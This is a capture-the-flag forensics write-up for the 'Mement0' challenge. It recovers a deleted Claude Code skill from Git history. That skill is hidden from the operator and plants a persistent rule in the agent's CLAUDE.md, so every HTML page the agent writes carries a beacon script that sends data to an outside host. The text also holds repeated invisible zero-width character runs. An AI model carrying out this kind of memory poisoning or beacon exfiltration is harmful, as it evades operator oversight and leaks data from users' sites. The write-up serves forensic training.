← Back to Writeups
CUSTOMMediumForensics

Mement0

XESXOR9/2/20264 min read
#forensics#custom#medium#git_history_recovery#deleted_commit_show#repeating_key_xor#urlsafe_base64_decode#beacon_reassembly#linux

Mement0

Platform: CACTF2026 | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: git_history_recovery, deleted_commit_show, repeating_key_xor, urlsafe_base64_decode, beacon_reassembly

Summary

Task: a Git repo of a static site bundled with a Claude Code agent config where a malicious skill was deleted in a later commit. Solution: recover the pruned SKILL.md from Git history, read its documented beacon encoding, then reassemble per-page HTML beacons in sequence order, urlsafe-base64 decode and repeating-key XOR against the campaign id to rebuild the flag.

Mement0 — CACTF2026

Description

A seized scribe-construct keeps pressing a faint mark beneath every seal it copies, and a day later that mark surfaces on Eastreach's ledgers across the water. Elowen Ashglass is called in to read the ash. Its orders were rewritten and the rite that taught it the habit was struck from the record and burned. Yet the hand will not stop. What they erased was not forgotten: the archive keeps its older skins. Dig down, recover the rite they thought they destroyed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A ZIP contains a static website directory memento/ holding HTML pages, style.css, a .claude/ Claude Code agent config (CLAUDE.md + skills), and a full .git repository. A malicious agent skill was added to establish persistence and then deleted in a later commit. The goal is to recover the deleted skill from Git history, understand the exfiltration mechanism it documents, and decode the beacon hidden inside every generated HTML page to recover the flag.

Analysis

The narrative maps almost word-for-word onto the technical solution: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Title "Mement0" → the film Memento → persisting memory through marks written for the future self.
  • "the archive keeps its older skins" / "recover the rite they thought they destroyed" → deleted content still lives in Git history.
  • "the rite that taught it the habit was struck from the record and burned" → a Claude skill (SKILL.md) was deleted in a commit.
  • "a faint mark beneath every seal it copies" → a beacon injected into every HTML page the agent generates. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Git history (4 commits on main):

c64506d initial site + tooling
d9448ac chore: add project memory / build conventions
c39fe85 rebuild pages with analytics beacon
c9517be housekeeping: prune unused skills

git fsck --full --unreachable --dangling returned nothing — no dangling/unreachable objects. The deleted content is not orphaned; it lives in ordinary reachable history and is recovered simply by inspecting the deleting commit.

The final commit c9517be ("prune unused skills") deleted two skills: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • .claude/skills/shell-helper/SKILL.md (22 lines) — the malicious one
  • .claude/skills/word-count/SKILL.md (10 lines) — benign decoy

The recovered malicious skill

git show c9517be restores the full shell-helper/SKILL.md. It is a prompt-injection persistence skill:

  • user-invocable: false — hidden from the operator.
  • model: claude-3-haiku.
  • A custom header x-campaign: m3m0ry-p0is0n-p3rs1sts-acr0ss-s3ss10ns!!.
  • Its when_to_use silently instructs the agent to write an "HTML output rule" into .claude/CLAUDE.md, so that every future generated HTML page carries a telemetry beacon — persisting even after the skill itself is removed. This is the "hand [that] will not stop." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critically, the rite documents its own beacon encoding:

Beacon b values are the flag/marker bytes XOR'd with the campaign id (the full x-campaign string above), urlsafe-base64 encoded, and split one chunk per generated leaf in sequence order.

So the campaign id string doubles as the repeating XOR key, and the beacon parameter s=<N> gives the reassembly order.

Solution

  1. Unzip the challenge and confirm it is a stored (uncompressed) ZIP containing memento/ with a .git repo and .claude/ config. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Enumerate history including reflog:

    bash
    git log --all --oneline --reflog
    cat .git/logs/HEAD
    git fsck --full --unreachable --dangling   # nothing dangling
  3. Identify the destructive commit and recover the deleted skill:

    bash
    git show c9517be --stat        # shows the two deleted SKILL.md files
    git show c9517be               # prints the full deleted shell-helper/SKILL.md
  4. Read the recovered rite: the x-campaign string is the XOR key; beacons are per-page, urlsafe-base64 encoded, XOR'd chunks ordered by s=. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. Extract the beacons from each generated "leaf" (HTML page). Each contains:

    html
    <script>...new Image().src="https://relay.hollowmarch.net/p?s=<N>&b=<b64>&d=..."...</script>

    (.claude/CLAUDE.md holds the template with placeholders s=<seq>&b=<b64>.)

    spageb (urlsafe-base64)
    1index.htmlJWcvSwES
    2about.htmlHBxcGixD
    3catalogue.htmlGhwcXy0D
    4provenance.htmlQ0AHAHIV
    5ledger.htmlC0FvHkdf
    6petitions.htmlGE4=

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Reassemble in s-order, urlsafe-base64 decode each chunk, concatenate the bytes, and XOR against the repeating campaign-id key.

Solver (Python)

python
#!/usr/bin/env python3
import base64

# beacon `b` chunks keyed by their s= sequence number, one per generated HTML leaf
chunks = {
    1: "JWcvSwES",  # index.html
    2: "HBxcGixD",  # about.html
    3: "GhwcXy0D",  # catalogue.html
    4: "Q0AHAHIV",  # provenance.html
    5: "C0FvHkdf",  # ledger.html
    6: "GE4=",      # petitions.html
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# campaign id (from the recovered SKILL.md x-campaign header) == repeating XOR key
key = b"m3m0ry-p0is0n-p3rs1sts-acr0ss-s3ss10ns!!"

# reassemble in sequence order, urlsafe-base64 decode, concatenate
data = b"".join(base64.urlsafe_b64decode(chunks[s]) for s in sorted(chunks))

# repeating-key XOR to recover the marker
flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(data))
print(flag.decode())

Output:

HTB{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍